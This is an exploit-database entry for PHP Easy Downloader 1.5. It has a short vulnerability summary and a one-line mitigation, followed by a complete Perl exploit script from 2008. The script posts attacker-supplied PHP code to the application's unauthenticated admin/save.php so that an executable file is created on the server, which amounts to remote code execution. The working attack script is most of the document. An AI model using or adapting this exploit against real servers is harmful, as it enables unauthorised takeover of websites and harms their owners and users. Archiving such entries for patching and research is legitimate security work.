PHP Easy Downloader - exploit.company

vendor:

PHP Easy Downloader

by:

StAkeR

7.5

CVSS

HIGH

Remote File Creation

264

CWE

Product Name: PHP Easy Downloader

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PHP Easy Downloader <= 1.5 Remote File Creation Exploit

This exploit allows an attacker to create a malicious file on the vulnerable server. The attacker can inject arbitrary code into the file and execute it on the server. This exploit is possible due to the lack of input validation in the save.php file.

Mitigation:

Input validation should be implemented in the save.php file to prevent malicious code injection.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# --------------------------------------------------------
# PHP Easy Downloader <= 1.5 Remote File Creation Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 17/10/2008
# http://www.hasemithut.de/downloads/index.php
# --------------------------------------------------------

use strict;
use LWP::UserAgent;

my $host = shift(@ARGV);
my $file = shift(@ARGV);
my $http = new LWP::UserAgent;

if($host !~ /^http:\/\/(.+?)$/ && $file !~ /(\w+)\.([a-zA-Z])?/)
{
  print "[?] PHP Easy Downloader <= 1.5 Remote File Creation Exploit\r\n";
  print "[?] Usage: perl $0 http://[host] [filename]\r\n";
  exit;
}

chomp(my $code = <STDIN>);

if($code !~ /(<\?php|<\?#)(.*?)\?>/)
{
  print "[?] You must insert PHP Code\r\n";
  exit;
}
  
my $post = $http->post($host.'/file_info/admin/save.php',
                       [
                        filename    => $file,
                        accesses    => $code.'//',
                      ]); 

if($post->is_success)
{
  if($post->as_string =~ /(Upload Date|Change Made!)/i)
  {
    print "[?] $host/file_info/descriptions/$file.0 Created\r\n";
    exit;
  }
  else
  {
    print "[?] Exploit Failed!\r\n";
    exit;
  }
} 


__END__

# milw0rm.com [2008-10-18]